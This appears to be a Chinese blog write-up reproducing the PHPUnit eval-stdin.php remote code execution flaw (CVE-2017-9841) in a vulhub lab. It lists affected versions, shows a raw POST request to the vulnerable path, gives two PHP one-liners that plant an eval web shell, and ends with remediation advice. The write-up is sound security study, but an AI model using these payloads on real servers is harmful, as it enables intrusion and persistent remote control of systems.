PHPUnit漏洞复现
簡(jiǎn)介
漏洞環(huán)境:vulhub
參考鏈接:
https://blog.csdn.net/csacs/article/details/90640601
https://blog.csdn.net/zy15667076526/article/details/111824844
CVE-2017-9841
PHPUnit 是 PHP 程式語(yǔ)言中最常見(jiàn)的單元測(cè)試 (unit testing) 框架,通常phpunit使用composer非常流行的PHP依賴(lài)管理器進(jìn)行部署,將會(huì)在當(dāng)前目錄創(chuàng)建一個(gè)vendor文件夾。phpunit生產(chǎn)環(huán)境中仍然安裝了它,如果該編寫(xiě)器模塊存在于Web可訪(fǎng)問(wèn)目錄,則存在遠(yuǎn)程代碼執(zhí)行漏洞。
composer是php包管理工具,使用composer安裝擴(kuò)展包將會(huì)在當(dāng)前目錄創(chuàng)建一個(gè)vendor文件夾,并將所有文件放在其中。通常這個(gè)目錄需要放在web目錄外,使用戶(hù)不能直接訪(fǎng)問(wèn)。
phpunit是php中的單元測(cè)試工具,其4.8.19 ~ 4.8.27和5.0.10 ~ 5.6.2版本的vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php文件有如下代碼
eval('?>'.file_get_contents('php://input'));
如果該文件被用戶(hù)直接訪(fǎng)問(wèn)到,將造成原創(chuàng)代碼執(zhí)行漏洞。
影響版本:
4.8.19 ~ 4.8.27
5.0.10 ~ 5.6.2
漏洞復(fù)現(xiàn)
啟動(dòng)vulhub中的docker環(huán)境,訪(fǎng)問(wèn)eval-stdin.php的路徑:
http://144.34.169.6:8080/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
使用bp進(jìn)行抓包,將請(qǐng)求方式改為POST,同時(shí)將php代碼作為請(qǐng)求體。
POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: 144.34.169.6:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 18
執(zhí)行結(jié)果:
看博客,寫(xiě)入一句話(huà)木馬:<?=file_put_contents("test.php", '<?=@eval($_REQUEST[cmd]);?>');,但是我發(fā)現(xiàn)我根本寫(xiě)入不進(jìn)去,提示該文件寫(xiě)入權(quán)限不足:
file_put_contents(test.php): failed to open stream: Permission denied in /var/www/html/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php(3) : eval()'d code
原因是,apache使用的是www-data用戶(hù)運(yùn)行,而web目錄下的文件用戶(hù)與用戶(hù)組權(quán)限均為root,eval-stdin.php所在的PHP文件夾,其他用戶(hù)只有執(zhí)行和讀權(quán)限,所以寫(xiě)入失敗。
如果要寫(xiě)入一句話(huà)木馬,需要將PHP目錄增加其他用戶(hù)可寫(xiě)權(quán)限。
也可以用這個(gè)寫(xiě)入一句話(huà),<?php file_put_contents("shell.php",'<?php @eval($_POST[cmd]);?>');?>。
漏洞修復(fù)
生產(chǎn)環(huán)境中直接刪掉phpunit
升級(jí)phpunit版本
設(shè)置權(quán)限,禁止訪(fǎng)問(wèn)該目錄
本博客雖然很垃圾,但所有內(nèi)容嚴(yán)禁轉(zhuǎn)載
總結(jié)
以上是生活随笔為你收集整理的PHPUnit漏洞复现的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: H5前端页面性能测试
- 下一篇: android 热修复框架Tinker的